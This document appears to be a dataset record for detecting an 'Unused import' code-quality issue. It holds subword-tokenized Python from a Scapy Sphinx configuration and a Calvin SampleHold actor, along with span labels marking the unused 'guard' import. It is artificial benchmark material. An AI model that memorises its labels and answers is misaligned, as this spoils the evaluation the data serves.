"\\u\\u\\uNL\\u\\u\\u_", "toda", "y", "\\u", "fmt_", "=_", "'%", "B", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "of", " ", "document", "s", " ", "tha", "t", " ", "shou", "ld", "n", "'", "t", " ", "be", " ", "include", "d", " ", "in", " ", "the", " ", "build", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "unu", "sed", "\\u", "docs", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "of", " ", "director", "ies", ",", " ", "relative", " ", "to", " ", "source", " ", "director", "ies", ",", " ", "tha", "t", " ", "shou", "ld", "n", "'", "t", " ", "be", " ", "searche", "d_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "exclu", "de", "\\u", "dirs", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "re", "ST", " ", "default", " ", "role", " ", "(", "used", " ", "for", " ", "this", " ", "markup", ":", " ", "`", "text", "`)", " ", "to", " ", "use", " ", "for", " ", "all", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "default", "\\u", "role", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "'(", ")'", " ", "will", " ", "be", " ", "append", "ed", " ", "to", " ", ":", "func", ":", " ", "etc", ".", " ", "cross", "-", "reference", " ", "text", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "function", "\\u", "parenthes", "es", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "current", " ", "module", " ", "name", " ", "will", " ", "be", " ", "prepend", "ed", " ", "to", " ", "all", " ", "description_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unit", " ", "titles", " ", "(", "suc", "h", " ", "as", " ", "..", " ", "function", "::", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "module", "\\u", "names", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "section", "author", " ", "and", " ", "module", "author", " ", "directive", "s", " ", "will", " ", "be", " ", "shown", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ".", " ", "The", "y", " ", "are", " ", "ignore", "d", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "show", "\\u", "author", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "the", " ", "Pyg", "ment", "s", " ", "(", "synta", "x", " ", "highlight", "ing", ")", " ", "style", " ", "to", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "pyg", "ment", "s", "\\u", "style_", "=_", "'", "sphinx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optio", "ns", " ", "for", " ", "HTM", "L", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "---------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "style", " ", "sheet", " ", "to", " ", "use", " ", "for", " ", "HTM", "L", " ", "and", " ", "HTM", "L", " ", "Help", " ", "page", "s", ".", " ", "A", " ", "file", " ", "of", " ", "tha", "t", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "must", " ", "exist", " ", "eit", "her", " ", "in", " ", "Sph", "inx", "'", " ", "static", "/", " ", "path", ",", " ", "or", " ", "in", " ", "one", " ", "of", " ", "the", " ", "custom", " ", "paths_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", "n", " ", "in", " ", "html", "\\u", "static", "\\u", "path", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "style_", "=_", "'", "default", ".", "css", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "for", " ", "this", " ", "set", " ", "of", " ", "Sph", "inx", " ", "document", "s", ".", " ", " ", "If", " ", "Non", "e", ",", " ", "it", " ", "default", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"<", "project", ">", " ", "v", "<", "release", ">", " ", "documentation", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "shorter", " ", "title", " ", "for", " ", "the", " ", "navigation", " ", "bar", ".", " ", " ", "Default", " ", "is", " ", "the", " ", "same", " ", "as", " ", "html", "\\u", "title", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "short", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "within", " ", "the", " ", "static", " ", "path", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "sidebar", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "within", " ", "the", " ", "static", " ", "path", ")", " ", "to", " ", "use", " ", "as", " ", "fav", "icon", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "docs", ".", " ", " ", "Thi", "s", " ", "file", " ", "shou", "ld", " ", "be", " ", "a", " ", "Window", "s", " ", "icon", " ", "file", " ", "(.", "ico", ")", " ", "bei", "ng", " ", "16", "x1", "6", " ", "or", " ", "32", "x3", "2_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pixel", "s", " ", "large", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "fav", "icon", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "static", " ", "files", " ", "(", "suc", "h", " ", "as", " ", "style", " ", "sheet", "s", ")", " ", "here", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "relative", " ", "to", " ", "this", " ", "director", "y", ".", " ", "The", "y", " ", "are", " ", "copie", "d", " ", "after", " ", "the", " ", "bui", "lti", "n", " ", "static", " ", "files", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "a", " ", "file", " ", "named", " ", "\"", "default", ".", "css", "\"", " ", "will", " ", "overwrit", "e", " ", "the", " ", "bui", "lti", "n", " ", "\"", "default", ".", "css", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "static", "\\u", "path_", "=_", "[_", "'\\u", "static", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "not", " ", "''", ",", " ", "a", " ", "'", "Las", "t", " ", "update", "d", " ", "on", ":'", " ", "timestamp", " ", "is", " ", "inserted", " ", "at", " ", "every", " ", "page", " ", "bottom", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "usi", "ng", " ", "the", " ", "give", "n", " ", "strf", "time", " ", "format", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "last", "\\u", "update", "d\\u", "fmt_", "=_", "'%", "b", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "Sma", "rty", "Pant", "s", " ", "will", " ", "be", " ", "used", " ", "to", " ", "convert", " ", "quote", "s", " ", "and", " ", "dashes", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "typo", "graphical", "ly", " ", "correct", " ", "entit", "ies", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "smart", "ypa", "nts", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Custom", " ", "sidebar", " ", "template", "s", ",", " ", "maps", " ", "document", " ", "names", " ", "to", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "sidebar", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "template", "s", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "render", "ed", " ", "to", " ", "page", "s", ",", " ", "maps", " ", "page", " ", "names", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "addition", "al", "\\u", "page", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "use", "\\u", "modi", "ndex_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "index", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "index", " ", "is", " ", "split", " ", "int", "o", " ", "individual", " ", "page", "s", " ", "for", " ", "each", " ", "letter", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "split", "\\u", "index", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "re", "ST", " ", "source", "s", " ", "are", " ", "include", "d", " ", "in", " ", "the", " ", "HTM", "L", " ", "build", " ", "as", " ", "\\u", "source", "s", "/", "<", "name", ">.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "copy", "\\u", "source", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "an", " ", "Open", "Sear", "ch", " ", "description", " ", "file", " ", "will", " ", "be", " ", "output", ",", " ", "and", " ", "all", " ", "page", "s", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", " ", "a", " ", "<", "link", ">", " ", "tag", " ", "refer", "ring", " ", "to", " ", "it", ".", " ", " ", "The", " ", "value", " ", "of", " ", "this", " ", "option", " ", "must", " ", "be", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "base", " ", "URL", " ", "from", " ", "whi", "ch", " ", "the", " ", "finish", "ed", " ", "HTM", "L", " ", "is", " ", "serve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "opens", "ear", "ch", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "none", "mpty", ",", " ", "this", " ", "is", " ", "the", " ", "file", " ", "name", " ", "suff", "ix", " ", "for", " ", "HTM", "L", " ", "files", " ", "(", "e", ".", "g", ".", " ", "\".", "xh", "tml", "\")", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "file", "\\u", "suff", "ix", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Output", " ", "file", " ", "base", " ", "name", " ", "for", " ", "HTM", "L", " ", "help", " ", "builde", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "help", "\\u", "basename_", "=_", "'", "Sca", "pydo", "c", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optio", "ns", " ", "for", " ", "La", "Te", "X", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "pape", "r", " ", "size", " ", "('", "letter", "'", " ", "or", " ", "'", "a4", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "pape", "r", "\\u", "size_", "=_", "'", "a4", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "font", " ", "size", " ", "('", "10", "pt", "',", " ", "'", "11", "pt", "'", " ", "or", " ", "'", "1", "2p", "t", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "font", "\\u", "size_", "=_", "'", "11", "pt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "La", "Te", "X", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",", " ", "author", ",", " ", "document", " ", "class", " ", "[", "how", "to", "/", "manu", "al", "])", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "index", "'_", ",_", "'", "Sca", "py", ".", "tex", "'_", ",_", "'", "Sca", "py", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Phil", "ipp", "e", " ", "Bio", "ndi", " ", "and", " ", "the", " ", "Sca", "py", " ", "communi", "ty", "'_", ",_", "'", "manu", "al", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "title", " ", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "\"", "manu", "al", "\"", " ", "document", "s", ",", " ", "if", " ", "this", " ", "is", " ", "true", ",", " ", "then", " ", "toplevel", " ", "heading", "s", " ", "are", " ", "part", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "not", " ", "chapters", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "use", "\\u", "part", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "stu", "ff", " ", "for", " ", "the", " ", "La", "Te", "X", " ", "preamble", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "preamble", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", "all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "use", "\\u", "modi", "ndex_", "=_", "False_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
EricssonResearch/calvin-base/calvin/actorstore/systemactors/std/SampleHold.py
[ { "content": "# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015 Ericsson AB\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom calvin.actor.actor import Actor, ActionResult, manage, condition, guard\nfrom copy import copy\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SampleHold(Actor):\n \"\"\"\n Sample 'in' and hold it internally if 'sample' input is true, replacing any previous value.\n\n Produce the held token on the 'out' port regardless of wether 'sample' is true or false.\n Assumes 'false' or 'true' as input to 'sample', other values are considered 'false'.\n\n Inputs:\n sample : Sample 'in' if true.\n in : A token\n Outputs:\n out : The currently held token, or the 'default' argument if not sampled yet.\n \"\"\"\n\n\n\n action_priority = (action,)\n\n test_args = [-1]\n\n test_set = [\n {\n 'in': {'in': [0, 1, 2, 3], 'sample': [False, True, 1, True]},\n 'out': {'out': [-1, 1, 1, 3]},\n },\n ]", "metadata": "root.SampleHold", "header": "['module', '___EOS___']", "index": 19 }, { "content": " @manage(['held'])\n def init(self, default=None):\n self.held = default", "metadata": "root.SampleHold.init", "header": "['class', 'SampleHold', '(', 'Actor', ')', ':', '___EOS___']", "index": 33 }, { "content": " @condition(['sample', 'in'], ['out'])\n def action(self, sample, tok):\n if sample is True:\n self.held = copy(tok)\n return ActionResult(production=(self.held, ))", "metadata": "root.SampleHold.action", "header": "['class', 'SampleHold', '(', 'Actor', ')', ':', '___EOS___']", "index": 37 } ]
[ { "span": "from calvin.actor.actor import Actor, ActionResult, manage, condition, guard", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 76 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "201", "5", " ", "Eri", "css", "on", " ", "AB_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "cal", "vin_", "._", "actor_", "._", "actor_", "import_", "Actor_", ",_", "Action", "Result_", ",_", "manage_", ",_", "condition_", ",_", "guard_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "copy_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Sampl", "e", "Hold", "_", "(_", "Actor_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sampl", "e", " ", "'", "in", "'", " ", "and", " ", "hold", " ", "it", " ", "internal", "ly", " ", "if", " ", "'", "sample", "'", " ", "input", " ", "is", " ", "true", ",", " ", "repla", "cing", " ", "any", " ", "previ", "ous", " ", "value", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Produce", " ", "the", " ", "hel", "d", " ", "token", " ", "on", " ", "the", " ", "'", "out", "'", " ", "port", " ", "rega", "rd", "less", " ", "of", " ", "wet", "her", " ", "'", "sample", "'", " ", "is", " ", "true", " ", "or", " ", "fal", "se", ".", "\\", "10", ";", " ", " ", " ", " ", "Assume", "s", " ", "'", "fal", "se", "'", " ", "or", " ", "'", "true", "'", " ", "as", " ", "input", " ", "to", " ", "'", "sample", "',", " ", "other", " ", "values", " ", "are", " ", "consider", "ed", " ", "'", "fal", "se", "'.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Inp", "uts", ":", "\\", "10", ";", " ", " ", "sample", " ", ":", " ", "Sampl", "e", " ", "'", "in", "'", " ", "if", " ", "true", ".", "\\", "10", ";", " ", " ", "in", " ", ":", " ", "A", " ", "token", "\\", "10", ";", " ", " ", " ", " ", "Output", "s", ":", "\\", "10", ";", " ", " ", "out", " ", " ", " ", " ", ":", " ", "The", " ", "currentl", "y", " ", "hel", "d", " ", "token", ",", " ", "or", " ", "the", " ", "'", "default", "'", " ", "argu", "ment", " ", "if", " ", "not", " ", "sample", "d", " ", "ye", "t", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "action", "\\u", "priority_", "=_", "(_", "action_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "args_", "=_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "set_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "in", "'_", ":_", "{_", "'", "in", "'_", ":_", "[_", "0_", ",_", "1_", ",_", "2_", ",_", "3_", "]_", ",_", "'", "sample", "'_", ":_", "[_", "False_", ",_", "True_", ",_", "1_", ",_", "True_", "]_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "out", "'_", ":_", "{_", "'", "out", "'_", ":_", "[_", "-_", "1_", ",_", "1_", ",_", "1_", ",_", "3_", "]_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "[SEP]_", "class_", "Sampl", "e", "Hold", "_", "(_", "Actor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "manage_", "(_", "[_", "'", "hel", "d", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "init_", "(_", "self_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hel", "d_", "=_", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sampl", "e", "Hold", "_", "(_", "Actor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "condition_", "(_", "[_", "'", "sample", "'_", ",_", "'", "in", "'_", "]_", ",_", "[_", "'", "out", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "action_", "(_", "self_", ",_", "sample_", ",_", "tok_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sample_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hel", "d_", "=_", "copy_", "(_", "tok_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Action", "Result_", "(_", "production_", "=_", "(_", "self_", "._", "hel", "d_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
